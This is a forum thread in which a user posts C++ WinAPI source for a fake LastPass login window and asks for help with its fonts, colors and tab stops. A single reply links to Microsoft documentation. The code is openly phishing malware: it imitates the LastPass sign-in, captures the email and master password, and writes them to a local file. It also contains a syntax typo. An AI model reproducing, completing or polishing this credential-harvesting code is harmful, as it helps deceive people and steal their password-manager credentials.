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Thread: [Any tuts on Updating Fonts In WinAPI and C++?](#)

gurlhackerclub - April 7, 2020, 2:50 am

Any tuts on Updating Fonts In WinAPI and C++? Working on a fake lastpass login that dumps username and password to a file.

Don't know how to fix the fonts and colors. Also how to fix tab stops.

What it looks like now. LOL. Trying to go native.

```
Code #include <windows.h>
#include <fstream>
#include <iostream>
using namespace std;
```

```
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
char usertext[50];
char passwordtext[50];
HWND UserField;
HWND PasswordField;
HWND redpasslabel;
HFONT hFont;
```

```
#define ID_QUIT 2
#define ID_LOGON 1
```

```
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    PWSTR lpCmdLine, int nCmdShow) {
```

```
    MSG msg;
    WNDCLASSW wc = { 0 };
    wc.lpszClassName = L"Buttons";
    wc.hInstance = hInstance;
    wc.hbrBackground = GetSysColorBrush(COLOR_3DFACE);
    wc.lpfnWndProc = WndProc;
    wc.hCursor = LoadCursor(0, IDC_ARROW);
```

```
    RegisterClassW(&wc);
    CreateWindowW(wc.lpszClassName, L" ",
        WS_OVERLAPPEDWINDOW | WS_VISIBLE,
        1080, 80, 350, 450, 0, 0, hInstance, 0);
```

```
    while (GetMessage(&msg, NULL, 0, 0)) {
```

```
        TranslateMessage(&msg);
        DispatchMessage(&msg);
```

```

}

return (int)msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg,
WPARAM wParam, LPARAM lParam) {
switch (msg) {

case WM_CREATE:

CreateWindowW(L"static", L"Fake Last Pass",
WS_CHILD | WS_VISIBLE,
60, 60, 145, 25, hwnd, NULL, NULL, NULL);

redpasslabel = CreateWindowW(L"static", L"Login",
WS_CHILD | WS_VISIBLE,
180, 60, 85, 25, hwnd, NULL, NULL, NULL);

CreateWindowW(L"static", L"Email",
WS_CHILD | WS_VISIBLE,
20, 100, 85, 25, hwnd, NULL, NULL, NULL);

UserField = CreateWindowW(L"edit", L"",
WS_BORDER | WS_CHILD | WS_VISIBLE | WS_TABSTOP,
20, 120, 200, 25, hwnd, NULL, NULL, NULL);

CreateWindowW(L"static", L"Master Password",
WS_CHILD | WS_VISIBLE,
20, 150, 205, 25, hwnd, NULL, NULL, NULL);

PasswordField = CreateWindowW(L"EDIT", L"",
WS_BORDER | WS_CHILD | WS_VISIBLE | ES_PASSWORD | WS_TABSTOP,
20, 170, 200, 25, hwnd, NULL, NULL, NULL);

CreateWindowW(L"Button", L"Log In",
WS_VISIBLE | WS_CHILD,
20, 220, 190, 25, hwnd, (HMENU)ID_LOGON, NULL, NULL);

CreateWindowW(L"static", L"----- or -----",
WS_CHILD | WS_VISIBLE,
20, 260, 190, 25, hwnd, NULL, NULL, NULL);

CreateWindowW(L"static", L"Create an account",
WS_CHILD | WS_VISIBLE,
40, 280, 190, 25, hwnd, NULL, NULL, NULL);

SetFocus(UserField);
break;

```

case WM_COMMAND:

```
if (LOWORD(wParam) == ID_LOGON) {  
    int gwtstat = 0;  
    gwtstat = GetWindowTextA(UserField, &usertext[0], 50);  
    gwtstat = GetWindowTextA>PasswordField, &passwordtext[0], 50);  
    MessageBoxA(hwnd, usertext, "Success", NULL);  
    ofstream myfile;  
    myfile.open("example.txt");  
    myfile << "Login\n" << usertext<<": "<<passwordtext;  
    myfile.close();  
}
```

break;

case WM_DESTROY:

```
PostQuitMessage(0);  
break;  
}
```

```
return DefWindowProcW(hwnd, msg, wParam, lParam);  
}
```

HFDone - April 7, 2020, 4:09 am

<https://docs.microsoft.com/he-il/windows/win32/controls/cookbook-overview?redirectedfrom=MSDN>